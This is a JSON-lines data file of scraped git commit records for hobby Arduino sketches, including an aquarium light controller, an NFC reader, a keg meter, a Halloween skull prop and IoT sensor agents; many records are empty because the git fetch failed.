{"commit":"d860a29ec82a8e336ec0b5aa0b27477f7b56934e","subject":"updated example","message":"updated example\n","repos":"arduino-org\/CiaoMCU","old_file":"examples\/CiaoRestClient\/CiaoRestClient.ino","new_file":"examples\/CiaoRestClient\/CiaoRestClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/arduino-org\/CiaoMCU.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7f6e0d493404f1ebf324616d9b8a8d78c1047f62","subject":"C\u00f3digo fonte de comunica\u00e7\u00e3o serial com o arduino","message":"C\u00f3digo fonte de comunica\u00e7\u00e3o serial com o arduino\n","repos":"alexishida\/aquaino,alexishida\/aquaino,alexishida\/aquaino,alexishida\/aquaino,alexishida\/aquaino","old_file":"CoreArduino\/CoreArduino.ino","new_file":"CoreArduino\/CoreArduino.ino","new_contents":"\/******************************************************************************\n* *\n* Comunica\u00e7\u00e3o Serial para Envio e Recebimento de infoma\u00e7\u00f5es *\n* pela porta Serial *\n* *\n* Vers\u00e3o: 0.0.1 *\n* Data: 17\/03\/2014 *\n* Autor: Alex Ishida *\n* Site: http:\/\/alexishida.com *\n* E-mail: alexishida@gmail.com *\n* *\n******************************************************************************\/\n\n\/******************************************************************\/\n\/* Defini\u00e7\u00e3o de Bibliotecas *\/\n\/******************************************************************\/\n#include <dht.h>\n\n\n\n\/******************************************************************\/\n\/* Defini\u00e7\u00e3o de Constantes *\/\n\/******************************************************************\/\n\n#define dht_dpin A15 \/\/Pino DATA do Sensor ligado na porta Analogica A1\n\nint CANAL_UV = 12;\nint CANAL_AZUL = 11;\nint CANAL_VERDE = 10;\nint CANAL_VERMELHO = 9;\nint CANAL_BRANCO = 8;\n\nint VALOR_UV = 0;\nint VALOR_AZUL = 0;\nint VALOR_VERDE = 0;\nint VALOR_VERMELHO = 0;\nint VALOR_BRANCO = 0;\n\n\n\n\/******************************************************************\/\n\/* Defini\u00e7\u00e3o de Vari\u00e1veis *\/\n\/******************************************************************\/\n\ndht DHT; \/\/Inicializa o sensor\nString comando;\n\nvoid setup()\n{\n Serial.begin(9600);\n \n pinMode(CANAL_UV, OUTPUT);\n pinMode(CANAL_AZUL, OUTPUT);\n pinMode(CANAL_VERDE, OUTPUT);\n pinMode(CANAL_VERMELHO, OUTPUT);\n pinMode(CANAL_BRANCO, OUTPUT);\n \n\/* delay(1000);\/\/Aguarda 1 seg antes de acessar as informa\u00e7\u00f5es do sensor *\/\n \/\/Serial.write(\"conectado;\");\n}\n\nvoid loop()\n{\n\n\n if(obtemDados())\n {\n \n if(comando == \"dht11\") {\n obtemDHT11();\n }\n else if(comando.startsWith(\"luzes\")) {\n \n obtemLuzes(comando);\n }\n \n \n\n }\n \n atualizaLuzes();\n \n}\n\nvoid atualizaLuzes() {\n \n analogWrite(CANAL_UV, VALOR_UV);\n analogWrite(CANAL_AZUL, VALOR_AZUL);\n analogWrite(CANAL_VERDE, VALOR_VERDE);\n analogWrite(CANAL_VERMELHO, VALOR_VERMELHO);\n analogWrite(CANAL_BRANCO, VALOR_BRANCO);\n \n}\n\nvoid obtemLuzes(String dados) {\n \n \/\/luzes;100;210;160;200;150\n VALOR_UV = dados.substring(6,9).toInt();\n VALOR_AZUL = dados.substring(10,13).toInt();\n VALOR_VERDE = dados.substring(14,17).toInt();\n VALOR_VERMELHO = dados.substring(18,21).toInt();\n VALOR_BRANCO = dados.substring(22,25).toInt();\n \n}\n\n\n\nboolean obtemDados() {\n \n \/* Reseta os dados String *\/\n comando = \"\";\n\n if(Serial.available() > 0)\n {\n while(Serial.available() > 0)\n {\n comando += char(Serial.read());\n \n \/* Da uma pausa para obter os dados *\/\n delay(3);\n }\n \/\/Serial.write(\"sucesso\");\n return(true);\n\n }\n else {\n return(false);\n }\n\n}\n\n\n\n\nvoid obtemDHT11() {\n \n DHT.read11(dht_dpin); \/\/L\u00ea as informa\u00e7\u00f5es do sensor\n\n Serial.print(DHT.humidity);\n Serial.print(\";\");\n Serial.print(DHT.temperature); \n \/*delay(2000); \/\/N\u00e3o diminuir muito este valor. O ideal \u00e9 a leitura a cada 2 segundo *\/\n}\n\n\n\n\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e3f6eb04b2bd28be51568edb9051a6f19aef6f42","subject":"Update firmware examples with the readtag.ino example frm arduino","message":"Update firmware examples with the readtag.ino example frm arduino\n","repos":"reducedhackers\/pn532nfcshield,reducedhackers\/pn532_i2c_particle,reducedhackers\/pn532_i2c_particle,reducedhackers\/pn532nfcshield","old_file":"firmware\/examples\/readTag\/readtag.ino","new_file":"firmware\/examples\/readTag\/readtag.ino","new_contents":"#include <Wire.h>\n#include <PN532_I2C.h>\n#include <PN532.h>\n#include <NfcAdapter.h>\n\nPN532_I2C pn532_i2c(Wire);\nNfcAdapter nfc = NfcAdapter(pn532_i2c);\n\nvoid setup(void) {\n Serial.begin(9600);\n Serial.println(\"NDEF Reader\");\n nfc.begin();\n}\n\nvoid loop(void) {\n Serial.println(\"\\nScan a NFC tag\\n\");\n if (nfc.tagPresent())\n {\n NfcTag tag = nfc.read();\n tag.print();\n }\n delay(5000);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/readTag\/readtag.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"060b3d6a1c08ca6453dc3ed4475ddd8bc2a2b8ad","subject":"add arduino code","message":"add arduino code\n","repos":"Dennovin\/kegmeter,Dennovin\/kegmeter,Dennovin\/kegmeter","old_file":"arduino\/kegmeter.ino","new_file":"arduino\/kegmeter.ino","new_contents":"\/* -*- mode: c -*- *\/\n\n#define NUM_PINS_TAP 4\n#define NUM_PINS_TEMP 2\n#define PIN_LED 11\n\n#define PIN_NUM_TAP(x) (21 - x)\n#define PIN_NUM_TEMP(x) (21 - NUM_PINS_TAP - x)\n\n#define NUM_PINS (NUM_PINS_TAP + NUM_PINS_TEMP)\n\nconst int pin_bytes = sizeof(uint64_t);\nconst int bufsize = 8 + (NUM_PINS * pin_bytes);\n\nvolatile uint64_t pulses[NUM_PINS_TAP];\nuint8_t last_state[NUM_PINS_TAP];\nbyte buffer[bufsize] = {0};\n\nvoid setup() {\n Serial.begin(9600);\n\n for(int i = 0; i < NUM_PINS_TAP; i++) {\n pinMode(PIN_NUM_TAP(i), INPUT_PULLUP);\n pulses[i] = 0;\n last_state[i] = digitalRead(PIN_NUM_TAP(i));\n }\n\n for(int i = 0; i < NUM_PINS_TEMP; i++) {\n pinMode(PIN_NUM_TEMP(i), INPUT);\n }\n\n OCR0A = 0xAF;\n TIMSK0 |= _BV(OCIE0A); \/\/ what\n\n buffer[0] = bufsize;\n buffer[1] = NUM_PINS_TAP;\n buffer[2] = NUM_PINS_TEMP;\n buffer[3] = NUM_PINS;\n}\n\nSIGNAL(TIMER0_COMPA_vect) {\n for(int i = 0; i < NUM_PINS_TAP; i++) {\n uint8_t state = digitalRead(PIN_NUM_TAP(i));\n\n if(state != last_state[i]) {\n pulses[i]++;\n }\n\n last_state[i] = state;\n }\n}\n\nvoid loop() {\n uint64_t tmp;\n\n if(Serial.available() > 0) {\n Serial.read();\n digitalWrite(PIN_LED, HIGH);\n\n for(int i = 0; i < NUM_PINS_TAP; i++) {\n tmp = pulses[i];\n memcpy(&buffer[(i + 1) * pin_bytes], &tmp, pin_bytes);\n\n pulses[i] = 0;\n }\n\n for(int i = 0; i < NUM_PINS_TEMP; i++) {\n tmp = (uint64_t)analogRead(PIN_NUM_TEMP(i));\n memcpy(&buffer[(i + 1 + NUM_PINS_TAP) * pin_bytes], &tmp, pin_bytes);\n }\n\n Serial.write(buffer, bufsize);\n }\n else {\n digitalWrite(PIN_LED, LOW);\n }\n\n delay(100);\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/kegmeter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"49d5114d86274077eaf2b86dee07b5b268aba8da","subject":"Add Mr Slim Halloween Project","message":"Add Mr Slim Halloween Project\n","repos":"darrell24015\/Uno,darrell24015\/Uno","old_file":"Scary_Skull_Eyes_with_Sound\/Scary_Skull_Eyes_with_Sound.ino","new_file":"Scary_Skull_Eyes_with_Sound\/Scary_Skull_Eyes_with_Sound.ino","new_contents":"\/*********************************************************************\n * Scary Halloween Skull Eyes with Sound\n * Author: Darrell Little\n * Date: October 15, 2017\n * This software is in the Public Domain\n * Creative Commons Zero v1.0 Universal\n * The Creative Commons CC0 Public Domain Dedication waives copyright interest \n * in any work created and dedicates it to the world-wide public domain. \n * \n * PIR sensor power is connected to 5 volts, negative to ground\n * Use a function to return a boolean (True or False) if the PIR\n * sensor detects motion\n * \n * When motion is detected \n * play an audio file while\n * flashing the LED eyes multiple times using a function by passing it\n * number of times to blink and delay time.\n * \n * MP3 Player Credits\n * Based on open source library:\n * DFPlayer - A Mini MP3 Player For Arduino\n * <https:\/\/www.dfrobot.com\/index.php?route=product\/product&product_id=1121>\n * <Angelo.qiao@dfrobot.com>\n * WARNING: Must use voltage dropping 1k resistors on software serial TX\/RX lines\n * to the DFPlayer.\n * \n * Additional credits to Let's Code Blacksburg workshop\n * https:\/\/github.com\/LetsCodeBlacksburg\/arduino-talking-skull\n * LCBB_Talking-Skull_ping-servo-dfplayer_complete\n * By tweeks-pub1@theweeks.org\n * \n *********************************************************************\/\n\n#include <SoftwareSerial.h>\n#include <DFRobotDFPlayerMini.h>\n\n\/\/ Set the constant values and variables used\nconst int led1 = 11; \/\/ one of two LED eyes\nconst int led2 = 10; \/\/ second of two LED eyes\nconst int pir = 6; \/\/ pin connected to the PIR sensor output\nint sensorValue = LOW; \/\/ initial value of sensor reading\n\n\/\/ DFPlayer mp3 player variables\nconst int ardRX = 2; \/\/ The SoftwareSerial Receive line (Use 1K resistor, goes to DFPlayer TX)\nconst int ardTX = 3; \/\/ The SoftwareSerial Transmit line (Use 1K resistor, goes to DFPlayer RX)\nconst int dfBusy = 12; \/\/ Coming from DFPlayer pin 16, is active low (HIGH = not playing a sound)\nint soundFile = 1; \/\/ initial soundFile value\nint fileCount = 15; \/\/ Either set the # of files on SD card, or load it from myDFPlayer.readFileCounts()\nint setVol = 20; \/\/Set volume value (0~30)\n\n\/\/ Create SoftwareSerial instance\nSoftwareSerial mySoftwareSerial(ardRX,ardTX); \/\/ Set the RX, TX pins\n\n\/\/ Create DFPlayer instance\nDFRobotDFPlayerMini myDFPlayer;\n\n\/\/ Function to initialize the DFPlayer\nvoid initDFPlayer() {\n if (myDFPlayer.begin(mySoftwareSerial)) {\n \/\/ configure settings\n myDFPlayer.setTimeOut(500); \/\/Set serial communictaion time out 500ms\n myDFPlayer.volume(setVol); \/\/Set volume value (0~30).\n myDFPlayer.EQ(DFPLAYER_EQ_NORMAL);\n myDFPlayer.outputDevice(DFPLAYER_DEVICE_SD);\n }\n}\n\n\/\/ Function for reading the PIR sensor\n\/\/ Return true if motion is detected\nboolean isMotionDetected() {\n sensorValue = digitalRead(pir);\n if (sensorValue == HIGH) { \/\/ the sensor reads HIGH if motion is detected\n return true;\n }\n else\n {\n return false; \/\/ no motion\n }\n}\n\n\/\/ Function to blink the eyes rapidly multiple times\n\/\/ pass to the function two values\nvoid blinkEyes(int blinkRepeats, int waitTime) {\n for (int i = 0; i < blinkRepeats; i++) {\n turnOnEyes();\n delay(waitTime);\n turnOffEyes();\n delay(waitTime);\n }\n}\n\n\/\/ Function to turn on the LED eyes\nvoid turnOnEyes() {\n digitalWrite(led1, HIGH);\n digitalWrite(led2, HIGH);\n}\n\n\/\/ Function to turn off the LED eyes\nvoid turnOffEyes() {\n digitalWrite(led1, LOW);\n digitalWrite(led2, LOW);\n}\n\nvoid setup() {\n \/\/ Put your setup code here, initialize the pins as input or output\n pinMode(pir, INPUT);\n pinMode(led1, OUTPUT);\n pinMode(led2, OUTPUT);\n pinMode(ardRX, INPUT); \n pinMode(ardTX, OUTPUT); \n pinMode(dfBusy, INPUT);\n \/\/ Start SoftwareSerial, initialize DFPlayer\n mySoftwareSerial.begin(9600);\n initDFPlayer();\n\n} \/\/ end of setup() function\n\nvoid loop() {\n \/\/ put your main code logic here, to run repeatedly\n \/\/ If played the last soundFile, then reset to 1\n if (soundFile == fileCount+1) {\n soundFile = 1;\n }\n \n if (isMotionDetected()) {\n myDFPlayer.play(soundFile); \/\/ Play the next mp3 file\n delay(100);\n while(digitalRead(dfBusy) == false) {\n \/\/ Blink the LED eyes while mp3 is playing\n blinkEyes(3,150);\n }\n\n soundFile++; \/\/ Increment the file number\n delay(3000); \n }\n else {\n turnOffEyes();\n }\n\n} \/\/ end of loop() function\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Scary_Skull_Eyes_with_Sound\/Scary_Skull_Eyes_with_Sound.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"34e33f53f2db45da0a5adc3f1000145b1e4d7a2e","subject":"Added delay before time log to send at correct intervals","message":"Added delay before time log to send at correct intervals\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/pwm_detector_test\/pwm_detector_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"86ac1573235d71648dc20a42fd4c20858934a4de","subject":"Create yun_modbus_example.ino","message":"Create yun_modbus_example.ino\n\nInitial","repos":"ductsoup\/Yun-ModbusTK-Example","old_file":"yun_modbus_example.ino","new_file":"yun_modbus_example.ino","new_contents":"\n#include <Bridge.h>\n\nProcess p;\n#define BUF_SIZE 32\nchar buf[BUF_SIZE];\n\nvoid setup() {\n Serial.begin(115200);\n \/\/ Start the bridge\n Bridge.begin();\n \/\/ Start the modbus server\n p.begin(\"python\");\n p.addParameter(\"\/mnt\/sd\/modbus_tcp_slave.py\"); \/\/ modbus float holding registers\n p.addParameter(\"40001\"); \/\/ read only start address\n p.addParameter(\"6\"); \/\/ read only number of holding registers\n p.addParameter(\"40101\"); \/\/ read\/write start address (optional)\n p.addParameter(\"6\"); \/\/ read\/write number of holding registers (optional)\n p.runAsynchronously();\n}\nvoid loop() {\n \/\/ AVR -> WRT (modbus read only), write some values to the modbus server\n Bridge.put(\"40001\", String(PI));\n Bridge.put(\"40003\", String(millis()));\n Bridge.put(\"40005\", String(5280));\n\n \/\/ AVR <- WRT (modbus read\/write), read some values from the modbus server\n Bridge.get(\"40101\", buf, BUF_SIZE);\n Serial.println(atof(buf));\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'yun_modbus_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"86ec18752185f2e991bf949132faa2d9f96f565c","subject":"First Commit: Agent Code for ArduinoUNO Agent publishes values of all the Analog Pins and the given Digital Pins to the WSO2 BAM via the Service Endpoint at WSO2 AS.","message":"First Commit: Agent Code for ArduinoUNO\nAgent publishes values of all the Analog Pins and the given Digital Pins\nto the WSO2 BAM via the Service Endpoint at WSO2 AS.\n","repos":"wso2-dev\/device-cloud-agents,ManfredHerrmann\/device-cloud-agents,wso2-incubator\/iot-server-agents,wso2-incubator\/device-cloud-agents,wso2-incubator\/device-cloud-agents,wso2-dev\/device-cloud-agents,wso2-incubator\/device-cloud-agents,charithag\/iot-server-agents,wso2-incubator\/iot-server-agents,wso2-dev\/device-cloud-agents,charithag\/iot-server-agents,charithag\/iot-server-agents,charithag\/iot-server-agents,wso2-incubator\/device-cloud-agents,wso2-dev\/device-cloud-agents,wso2-incubator\/device-cloud-agents,wso2-incubator\/iot-server-agents,charithag\/iot-server-agents,ManfredHerrmann\/device-cloud-agents,wso2-incubator\/iot-server-agents,wso2-dev\/device-cloud-agents,ManfredHerrmann\/device-cloud-agents,ManfredHerrmann\/device-cloud-agents,wso2-incubator\/iot-server-agents","old_file":"WSO2ArduinoAgent\/WSO2ArduinoAgent.ino","new_file":"WSO2ArduinoAgent\/WSO2ArduinoAgent.ino","new_contents":"#include <Ethernet.h>\n#include <SPI.h>\n\n#define DEVICE_IP \"192.168.1.218\"\n#define SERVICE_IP \"192.168.1.216\"\n#define SERVICE_PORT 9763 \n#define SERVICE_EPOINT \"\/WSO2ConnectedDevices_1.0.0\/services\/connected_device\/pushdata\/\" \/\/ip\/owner\/type\/mac\/pin\/value\n#define DEVICE_OWNER \"smean\"\n#define DEVICE_TYPE \"arduino-uno\"\n#define PUBLISH_INTERVAL 30000\n\nenum IP_TYPE{\n SERVER,\n DEVICE\n};\n\nenum PIN_STATE{\n low,\n high\n};\n\nbyte mac[] = { 0x90, 0xA2, 0xDA, 0x0D, 0x30, 0xD7 }; \/\/mac - 90a2da0d30d7\nbyte dns2[] = { 8, 8, 8, 8 };\nbyte subnet[] = { 255, 255, 255, 0 };\nbyte gateway[] = { 192, 168, 1, 1 };\n\nbyte deviceIP[4] = { 0, 0, 0, 0 };\nbyte server[4] = { 0, 0, 0, 0 };\n\nint pins[] = { 2, 5, 8, 9, 12 };\n\nEthernetClient client;\nString connecting = \"connecting.... \";\nString resource, tempResource, host;\n\nvoid setup()\n{ \n for ( int pin = 0; pin < (sizeof(pins)\/sizeof(int)); pin++) {\n pinMode(pins[pin], OUTPUT);\n }\n\n Serial.begin(9600);\n Serial.println(\"-------------------------------\");\n setIP(SERVICE_IP, SERVER);\n setIP(DEVICE_IP, DEVICE);\n Ethernet.begin(mac, deviceIP, dns2, gateway, subnet);\n \n Serial.print(\"My IP: \");\n Serial.println(Ethernet.localIP());\n connecting += client.connect(server, SERVICE_PORT);\n delay(3000);\n Serial.println(connecting);\n \n String port = String(SERVICE_PORT);\n host = String(SERVICE_IP);\n host = \"Host: \" + host + \":\" + port; \/\/ Serial.println(host);\n \n resource = String(SERVICE_EPOINT) + String(SERVICE_IP) + \"\/\" + String(DEVICE_OWNER) + \"\/\" + String(DEVICE_TYPE) + \"\/\";\n \n for ( int i = 0; i < sizeof(mac); i++ ) { \n if( mac[i] < 16){\n resource = resource + \"0\" + String(mac[i], HEX);\n }else{\n resource += String(mac[i], HEX);\n }\n\/\/ Serial.print(mac[i]); Serial.print(\" - \"); Serial.print(mac[i], HEX); Serial.println(); \n }\n\n if (client.connected()) {\n Serial.println(\"connected\");\n } else {\n Serial.println(\"connection failed\");\n }\n \n}\n\nvoid loop()\n{ \n alternatePinValue();\n \n if (client.connected()) {\n pushAnalogPinData();\n pushDigitalPinData(); \n } else {\n Serial.println(\"client not found...\");\n Serial.println(\"disconnecting.\");\n client.stop();\n for(;;)\n ;\n } \n\/\/ delay(PUBLISH_INTERVAL);\n}\n\n\nvoid pushDigitalPinData(){\n for ( int pin = 0; pin < (sizeof(pins)\/sizeof(int)); pin++) {\n Serial.println(\"-------------------------------\");\n tempResource = resource + \"\/D\" + pins[pin] + \"\/\";\n \n if (digitalRead(pins[pin]) == low) {\n tempResource += \"LOW\";\n } else {\n tempResource += \"HIGH\";\n }\n \n tempResource = \"POST \" + tempResource + \" HTTP\/1.1\"; \/\/Serial.println(tempResource);\n\n client.println(tempResource);\n client.println(host);\n client.println();\n delay(2000);\n \n while (client.available()) {\n char response = client.read();\n Serial.print(response);\n }\n \n Serial.println();\n tempResource = \"\";\n delay(4000);\n }\n}\n\nvoid pushAnalogPinData(){\n for ( int analogChannel = 0; analogChannel < 6; analogChannel++ ) {\n Serial.println(\"-------------------------------\");\n tempResource = resource + \"\/A\" + analogChannel + \"\/\" + analogRead(analogChannel);\n tempResource = \"POST \" + tempResource + \" HTTP\/1.1\"; Serial.println(tempResource);\n\n client.println(tempResource);\n client.println(host);\n client.println();\n delay(2000);\n \n while (client.available()) {\n char response = client.read();\n Serial.print(response);\n }\n \n Serial.println();\n tempResource = \"\";\n delay(4000);\n }\n}\n\nvoid alternatePinValue(){\n for ( int pin = 0; pin < (sizeof(pins)\/sizeof(int)); pin++) {\n if(digitalRead(pins[pin]) == low) {\n digitalWrite(pins[pin], HIGH);\n } else {\n digitalWrite(pins[pin], LOW);\n }\n }\n}\n\nvoid setIP(String ip, int type){\n int dot3 = ip.lastIndexOf( \".\" );\n String ip_4 = ip.substring( dot3 + 1, ip.length() ); \n \n int dot2 = ip.lastIndexOf( \".\" , dot3 - 1 );\n String ip_3 = ip.substring( dot2 + 1, dot3 ); \n \n int dot1 = ip.indexOf( \".\" );\n String ip_2 = ip.substring( dot1 + 1, dot2 ); \n String ip_1 = ip.substring( 0, dot1 ); \n \n switch(type){\n case SERVER:\n server[3] = ip_4.toInt(); \/\/ Serial.println(server[3]);\n server[2] = ip_3.toInt(); \/\/ Serial.println(server[2]);\n server[1] = ip_2.toInt(); \/\/ Serial.println(server[1]);\n server[0] = ip_1.toInt(); \/\/ Serial.println(server[0]);\n break;\n \n case DEVICE:\n deviceIP[3] = ip_4.toInt(); \/\/ Serial.println(deviceIP[3]);\n deviceIP[2] = ip_3.toInt(); \/\/ Serial.println(deviceIP[2]);\n deviceIP[1] = ip_2.toInt(); \/\/ Serial.println(deviceIP[1]);\n deviceIP[0] = ip_1.toInt(); \/\/ Serial.println(deviceIP[0]);\n break;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'WSO2ArduinoAgent\/WSO2ArduinoAgent.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"1f459e2ac855708762ae0a3f191ecf55e9a204f6","subject":"Create adxl345multi.ino","message":"Create adxl345multi.ino","repos":"nashworth\/exploring-options","old_file":"src\/adxl345multi.ino","new_file":"src\/adxl345multi.ino","new_contents":"\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/adxl345multi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a65c81a4d9ef68001c5b9f0f8781783591394e10","subject":"Bumping version number for release.","message":"Bumping version number for release.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e0fb8bf94805b53e70aedeb8768da91f5f4ac508","subject":"Cerveau: AI - update screen pins","message":"Cerveau: AI - update screen pins\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Cerveau\/Artificial Intelligence\/ai\/ai\/ai.ino","new_file":"Module Cerveau\/Artificial Intelligence\/ai\/ai\/ai.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Cerveau\/Artificial' did not match any file(s) known to git\nerror: pathspec 'Intelligence\/ai\/ai\/ai.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e8c7b35e5c396ba0e731ef1c03d163a6f5ad1ffe","subject":"Update RELAY_BETA.ino","message":"Update RELAY_BETA.ino","repos":"Garuda-1\/RealityGateway,Garuda-1\/RealityGateway","old_file":"SOFTWARE\/RELAY_BETA.ino","new_file":"SOFTWARE\/RELAY_BETA.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Garuda-1\/RealityGateway.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"df88b18d9a70c2bb365b3acbce53fa9ed24fa676","subject":"Beam IFTTT example code added","message":"Beam IFTTT example code added\n\n*Currently supports FITBIT\n","repos":"hoverlabs\/beam_particle","old_file":"examples\/BeamIFTTT\/BeamIFTTT.ino","new_file":"examples\/BeamIFTTT\/BeamIFTTT.ino","new_contents":"\/*\n=========================================================================== \n\n This is an example for Beam. \n \n Beam is a beautiful LED matrix \u2014 features 120 LEDs that displays scrolling text, animations, or custom lighting effects. \n Beam can be purchased here: http:\/\/www.hoverlabs.co\n \n Written by Emran Mahbub and Jonathan Li for Hover Labs. \n BSD license, all text above must be included in any redistribution\n\n \n# HISTORY\n v1.0 - Initial Release\n\n# INSTALLATION\n The 4 library files (beam.cpp, beam.h and charactermap.h and frames.h) are required to run Beam.\n Run the BeamDemo.ino file.\n \n# SUPPORT\n For questions and comments, email us at support@hoverlabs.co\n=========================================================================== \n*\/ \n\n#include \"application.h\"\n#include \"beam.h\"\n\n\/* pin definitions for Beam *\/\n#define RSTPIN 2 \/\/use any digital pin\n#define IRQPIN 9 \/\/currently not used\n#define BEAMCOUNT 1 \/\/number of beams daisy chained together\n\n\/* Iniitialize an instance of Beam *\/\nBeam b = Beam(RSTPIN, IRQPIN, BEAMCOUNT);\n\n\/* Timer used by the demo loop *\/\nunsigned long updateTimer = 0;\nint demo = 0;\n\nvoid setup() {\n \n Serial.begin(9600);\n Wire.begin();\n \n Serial.println(\"Starting Beam example\");\n \n Particle.subscribe(\"Fitbit_Steps\", fitbitHandler);\n\n}\n\n void fitbitHandler(const char *event, const char *data)\n {\n \n const char* stats = data;\n b.begin();\n b.print(stats);\n b.setLoops(7);\n b.setSpeed(4);\n b.setMode(SCROLL);\n b.play(); \n \n }\n\nvoid loop() {\n\n \n\n\n \/\/ do something else here\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/BeamIFTTT\/BeamIFTTT.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"c9f1250236d57adca9f058e6576c8d78a3ba86e1","subject":"fix communication with rpi & bluetooth. tested. works find","message":"fix communication with rpi & bluetooth. tested. works find\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0e1bbc94349db985c0e9059c46f48494334146d7","subject":"Create Treadmill.ino","message":"Create Treadmill.ino","repos":"alexmartinnnnnn\/Mr_Runner_Servo","old_file":"Treadmill\/Treadmill.ino","new_file":"Treadmill\/Treadmill.ino","new_contents":"int set_speed = 0, set_speed_old = 0;\n\nvoid setup(){\n Serial.begin(115200);\n \n pinMode(CS, OUTPUT);\n pinMode(UD, OUTPUT);\n pinMode(CLK, OUTPUT);\n \n \/\/hold current pot resistance\n digitalWrite(CS, HIGH);\n digitalWrite(CLK, HIGH);\n}\n\nvoid loop(){\n if (Serial.available() > 0){\n char c = Serial.read();\n \/\/convert char to int\n set_speed = c - '0';\n }\n \n if (set_speed > set_speed_old){\n digitalWrite(CS, LOW);\n digitalWrite(UD, LOW);\n digitalWrite(CLK, LOW);\n digitalWrite(CLK, HIGH);\n }\n \n else if(set_speed < set_speed_old){\n digitalWrite(CS, LOW);\n digitalWrite(UD, HIGH);\n digitalWrite(CLK, LOW);\n digitalWrite(CLK, HIGH);\n }\n \n else {\n digitalWrite(CS, HIGH);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Treadmill\/Treadmill.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"efaf8f1e5f152b3b00d7a8001d04e77c0e60afd3","subject":"add serial controller for esplora","message":"add serial controller for esplora\n","repos":"dakoner\/arduino,dakoner\/arduino,dakoner\/arduino","old_file":"esplora_serial_controller\/esplora_serial_controller.ino","new_file":"esplora_serial_controller\/esplora_serial_controller.ino","new_contents":"#include <Esplora.h>\n\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n\nvoid setup() {\n while (!Serial); \/\/ needed for Leonardo-based board like Esplora\n Serial.begin(57600);\n Serial1.begin(57600);\n}\n\nvoid loop() {\n if (Serial1.available())\n Serial.write(Serial1.read());\n \n \n delay(0.1);\n\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esplora_serial_controller\/esplora_serial_controller.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"2997a405a085af9a0d3d7a62d5a5e6bb355ff71c","subject":"Added IndentedPrint example","message":"Added IndentedPrint 